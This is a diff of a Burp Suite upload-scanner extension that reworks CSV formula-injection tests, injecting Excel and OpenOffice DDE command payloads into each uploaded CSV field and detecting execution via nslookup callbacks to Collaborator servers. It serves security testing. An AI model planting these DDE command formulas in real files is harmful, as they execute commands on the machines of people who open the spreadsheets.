@@ -2878,14 +2878,19 @@ def _csv_spreadsheet(self, injector, burp_colab):
2878
2878
colab_tests = []
2879
2879
2880
2880
if injector.opts.file_formats['csv'].isSelected():
2881
- title = "Malicious CSV upload/download"
2882
- desc = 'A CSV with the content {} was uploaded and downloaded. When this spreadsheet is opened in {}, ' \
2883
- 'and the user confirms several dialogues warning about code execution, the supplied command is executed. See ' \
2884
- 'https://www.contextis.com/resources/blog/comma-separated-vulnerabilities/ for more details. '
2885
- for software_name, payload in (("Excel", "=cmd|' /C {} {}'!A0"), ("OpenOffice", '=DDE("cmd";"/C {} {}";"__DdeLink_60_870516294")')):
2881
+ title_download = "Malicious CSV upload/download"
2882
+ desc_download = 'A CSV with the content {} was uploaded and downloaded. When this spreadsheet is opened in {}, ' \
2883
+ 'and the user confirms several dialogues warning about code execution, the supplied command is executed. See ' \
2884
+ 'https://www.contextis.com/resources/blog/comma-separated-vulnerabilities/ for more details. '
2885
+ title_colab = "Malicious CSV Collaborator Interaction"
2886
+ desc_colab = 'A CSV with the content {} was uploaded and lead to command execution. When this spreadsheet is opened in {}, ' \
2887
+ 'and the user confirms several dialogues warning about code execution, the supplied command is executed. See ' \
2888
+ 'https://www.contextis.com/resources/blog/comma-separated-vulnerabilities/ for more details. '
2889
+ software_payload = (("Excel", "=cmd|' /C {} {}'!A0"), ("OpenOffice", '=DDE("cmd";"/C {} {}";"__DdeLink_60_870516294")'))
2890
+ for software_name, payload in software_payload:
2886
2891
basename = BurpExtender.DOWNLOAD_ME + self.FILE_START + "Csv" + software_name
2887
2892
formula = payload.format("nslookup", "unknown.domain.example.org")
2888
- issue = self._create_issue_template(injector.get_brr(), title, desc .format(formula, software_name), "Tentative", "Low")
2893
+ issue = self._create_issue_template(injector.get_brr(), title_download, desc_download .format(formula, software_name), "Tentative", "Low")
2889
2894
# Do simple upload/download based
2890
2895
self.dl_matchers.add(DownloadMatcher(issue, filecontent=formula))
2891
2896
self._send_simple(injector, self.CSV_TYPES, basename + "Mal", formula, redownload=True)
@@ -2894,15 +2899,25 @@ def _csv_spreadsheet(self, injector, burp_colab):
2894
2899
# Also do collaborator based:
2895
2900
for cmd_name, cmd, server, replace in self._get_rce_interaction_commands(injector, burp_colab):
2896
2901
formula = payload.format(cmd, server)
2897
- desc += "<br>In this case we actually detected that interactions took place when using a {} command," \
2898
- "meaning the server executed the payload or someone opened it in the {} spreadsheet software. " \
2899
- "Interactions: <br><br>".format(cmd_name, software_name)
2900
- issue = self._create_issue_template(injector.get_brr(), "Malicious CSV Collaborator Interaction", desc, "Firm", "High")
2901
- colab_tests.extend(self._send_collaborator(injector, burp_colab, self.CSV_TYPES, basename + "Colab",
2902
- formula, issue, replace=replace, redownload=True))
2903
-
2904
- # TODO feature: Detect if original uploaded file was CSV, how many columns, etc., then start injecting CSV
2905
- # specific payloads such as the formulas above, burp collaborator URLs etc, but *only* if we detect an uploaded CSV
2902
+ desc = desc_colab + "<br>In this case we actually detected that interactions took place when using a {} command," \
2903
+ "meaning the server executed the payload or someone opened it in the {} spreadsheet software. <br>" \
2904
+ "The payload was {} . <br>" \
2905
+ "Interactions: <br><br>".format(cmd_name, software_name, formula)
2906
+ issue = self._create_issue_template(injector.get_brr(), title_colab, desc, "Firm", "High")
2907
+ file_contents = []
2908
+ file_contents.append(formula)
2909
+ # Detect if original uploaded file was CSV, how many columns, etc., then start injecting CSV
2910
+ # specific payloads such as the formulas above, but *only* if we detect an uploaded CSV
2911
+ insertion_points = InsertionPointProviderForActiveScan(injector).get_csv_insertion_points(injector)
2912
+ for insertion_point in insertion_points:
2913
+ # Inject the formula into each field
2914
+ _, _, content = insertion_point.create_request(formula)
2915
+ file_contents.append(content)
2916
+ # Injecting a collaborator URL with http:// and https:// etc. would be possible here
2917
+ # but as we already pass this as an insertion point for active scan we don't do this here
2918
+ for index, content in enumerate(file_contents):
2919
+ colab_tests.extend(self._send_collaborator(injector, burp_colab, self.CSV_TYPES, basename + "Colab" + str(index),
2920
+ content, issue, replace=replace, redownload=True))
2906
2921
2907
2922
if injector.opts.file_formats['xlsx'].isSelected():
2908
2923
basename = BurpExtender.DOWNLOAD_ME + self.FILE_START + "Excel"
@@ -4044,7 +4059,7 @@ def _send_get_request(self, brr, relative_url, create_log):
4044
4059
# TODO: Refactor _send methods into their own class
4045
4060
def _send_simple(self, injector, all_types, basename, content, redownload=False, randomize=True):
4046
4061
i = 0
4047
- types = injector.get_types(all_types, injector.get_default_file_ext() )
4062
+ types = injector.get_types(all_types)
4048
4063
urrs = []
4049
4064
for prefix, ext, mime_type in types:
4050
4065
if randomize:
@@ -4066,7 +4081,8 @@ def _send_simple(self, injector, all_types, basename, content, redownload=False,
4066
4081
def _send_collaborator(self, injector, burp_colab, all_types, basename, content, issue, redownload=False,
4067
4082
replace=None, randomize=True):
4068
4083
colab_tests = []
4069
- types = injector.get_types(all_types, injector.get_default_file_ext())
4084
+ types = injector.get_types(all_types)
4085
+ print types
4070
4086
i = 0
4071
4087
for prefix, ext, mime_type in types:
4072
4088
break_when_done = False
@@ -4137,7 +4153,7 @@ def _send_collaborator(self, injector, burp_colab, all_types, basename, content,
4137
4153
return colab_tests
4138
4154
4139
4155
def _send_sleep_based(self, injector, basename, content, types, sleep_time, issue, redownload=False, randomize=True):
4140
- types = injector.get_types(types, injector.get_default_file_ext() )
4156
+ types = injector.get_types(types)
4141
4157
timeout_detection_time = (float(sleep_time) / 2) + 0.5
4142
4158
i = 0
4143
4159
for prefix, ext, mime_type in types:
@@ -4462,12 +4478,16 @@ def get_uploaded_filename(self):
4462
4478
def get_uploaded_content_type(self):
4463
4479
return ''
4464
4480
4465
- def get_types(self, all_types, orig_ext ):
4481
+ def get_types(self, all_types):
4466
4482
new_types = set()
4467
4483
for prefix, ext, mime_type in all_types:
4468
4484
if BurpExtender.MARKER_ORIG_EXT in ext:
4469
- ext = ext.replace(BurpExtender.MARKER_ORIG_EXT, orig_ext)
4485
+ ext = ext.replace(BurpExtender.MARKER_ORIG_EXT, self.get_default_file_ext())
4486
+ if not mime_type:
4487
+ # The "use original mime type" marker is an empty string
4488
+ mime_type = self.get_uploaded_content_type()
4470
4489
new_types.add((prefix, ext, mime_type))
4490
+ # Further reduction if no mime or no filename is sent
4471
4491
has_filename = self.get_uploaded_filename()
4472
4492
has_mime = self.get_uploaded_content_type()
4473
4493
if has_filename and has_mime:
@@ -4824,10 +4844,15 @@ def _join_multipart(self, headers, parts, boundary):
4824
4844
class InsertionPointProviderForActiveScan(IScannerInsertionPointProvider):
4825
4845
# This class is not needed in the UploadScanner except to provide InsertionPoints as a
4826
4846
# IScannerInsertionPointProvider when getInsertionPoints is called from ActiveScan
4827
- def __init__(self, extender, global_opts, helpers):
4828
- self.burp_extender = extender
4829
- self._global_opts = global_opts
4830
- self._helpers = helpers
4847
+ def __init__(self, extender=None, opts=None, helpers=None, injector=None):
4848
+ if injector:
4849
+ self.burp_extender = injector.opts._burp_extender
4850
+ self._opts = injector.opts
4851
+ self._helpers = injector._helpers
4852
+ else:
4853
+ self.burp_extender = extender
4854
+ self._opts = opts
4855
+ self._helpers = helpers
4831
4856
self.exiftool_techniques = [
4832
4857
# TODO: Maybe uncomment some more? This takes quiet a while to scan...
4833
4858
# See BackdooredFiles for details... we don't use the thumbnail technique.
@@ -4850,20 +4875,20 @@ def getInsertionPoints(self, base_request_response):
4850
4875
CustomMultipartInsertionPoint.FILENAME_MARKER in req:
4851
4876
print "MultipartInjector insertion point found for getInsertionPoint ActiveScan!"
4852
4877
insertionPoint = CustomMultipartInsertionPoint(self._helpers, BurpExtender.NEWLINE, req)
4853
- injector = MultipartInjector(base_request_response, self._global_opts , insertionPoint, self._helpers, BurpExtender.NEWLINE)
4854
- elif self._global_opts .fi_ofilename:
4855
- fi = FlexiInjector(base_request_response, self._global_opts , self._helpers, BurpExtender.NEWLINE)
4878
+ injector = MultipartInjector(base_request_response, self._opts , insertionPoint, self._helpers, BurpExtender.NEWLINE)
4879
+ elif self._opts .fi_ofilename:
4880
+ fi = FlexiInjector(base_request_response, self._opts , self._helpers, BurpExtender.NEWLINE)
4856
4881
# We test only those requests where we find at least the content in the request as some implementations
4857
4882
# might not send the filename to the server
4858
4883
if fi.get_uploaded_content():
4859
4884
print "FlexiInjector insertion point found for getInsertionPoint ActiveScan!"
4860
4885
injector = fi
4861
4886
if injector:
4862
4887
# First the feature that we can detect CSVs
4863
- insertion_points.extend(self._get_csv_insertion_points (injector))
4888
+ insertion_points.extend(self.get_csv_insertion_points (injector))
4864
4889
4865
4890
# Then handle the zip files
4866
- bf = BackdooredFile(None, tool=self._global_opts .image_exiftool)
4891
+ bf = BackdooredFile(None, tool=self._opts .image_exiftool)
4867
4892
upload_type = ('', ".zip", BackdooredFile.EXTENSION_TO_MIME[".zip"])
4868
4893
# Achieve bf.get_zip_files(payload_func, techniques=["name"])
4869
4894
args = []
@@ -4882,7 +4907,7 @@ def getInsertionPoints(self, base_request_response):
4882
4907
# Now we still have the problem, that for a format, several payloads are generated
4883
4908
# so we can't really call create_files, but we need to call get_exiftool_images
4884
4909
# directly and tell it which techniques to use
4885
- size = (self._global_opts .image_width, self._global_opts .image_height)
4910
+ size = (self._opts .image_width, self._opts .image_height)
4886
4911
for name, cmd_line_args, formats in self.exiftool_techniques:
4887
4912
if format in formats:
4888
4913
# Achieve bf.get_exiftool_images(payload_func, size, formats, techniques=None)
@@ -4895,7 +4920,7 @@ def getInsertionPoints(self, base_request_response):
4895
4920
raise sys.exc_info()[1], None, sys.exc_info()[2]
4896
4921
return insertion_points
4897
4922
4898
- def _get_csv_insertion_points (self, injector):
4923
+ def get_csv_insertion_points (self, injector):
4899
4924
filename = injector.get_uploaded_filename().lower()
4900
4925
insertion_points = []
4901
4926
if ".csv" in filename or ".txt" in filename:
@@ -4933,7 +4958,7 @@ def __init__(self, injector, new_line, delim, line_index, field_index):
4933
4958
self.lines = injector.get_uploaded_content().split(self.new_line)
4934
4959
self.fields = self.lines[self.line_index].split(self.delim)
4935
4960
4936
- def _create_request (self, payload):
4961
+ def create_request (self, payload):
4937
4962
fields = copy.copy(self.fields)
4938
4963
if fields[self.field_index].startswith('"') and fields[self.field_index].endswith('"'):
4939
4964
# Let's assume it is a quoted CSV
@@ -4948,10 +4973,10 @@ def _create_request(self, payload):
4948
4973
lines[self.line_index] = line
4949
4974
content = self.new_line.join(lines)
4950
4975
req = self.injector.get_request(self.injector.get_uploaded_filename(), content)
4951
- return req, payload
4976
+ return req, payload, content
4952
4977
4953
4978
def buildRequest(self, payload):
4954
- req, _ = self._create_request (FloydsHelpers.jb2ps(payload))
4979
+ req, _, _ = self.create_request (FloydsHelpers.jb2ps(payload))
4955
4980
return req
4956
4981
4957
4982
def getBaseValue(self):
@@ -4969,7 +4994,7 @@ def getInsertionPointType(self):
4969
4994
4970
4995
def getPayloadOffsets(self, payload):
4971
4996
payload = FloydsHelpers.jb2ps(payload)
4972
- req, payload = self._create_request (payload)
4997
+ req, payload, _ = self.create_request (payload)
4973
4998
if payload in req:
4974
4999
start = req.index(payload)
4975
5000
return [start, start + len(payload)]
@@ -5623,7 +5648,7 @@ def _send_collab(self, injector, burp_colab, all_types, basename, content, old_x
5623
5648
# A modified version of _send_burp_collaborator because we need to fix the length of the xmp
5624
5649
# after we inject the collaborator URL
5625
5650
colab_tests = []
5626
- types = injector.get_types(all_types, injector.get_default_file_ext() )
5651
+ types = injector.get_types(all_types)
5627
5652
i = 0
5628
5653
for prefix, ext, mime_type in types:
5629
5654
for prot in self._protocols:
0 commit comments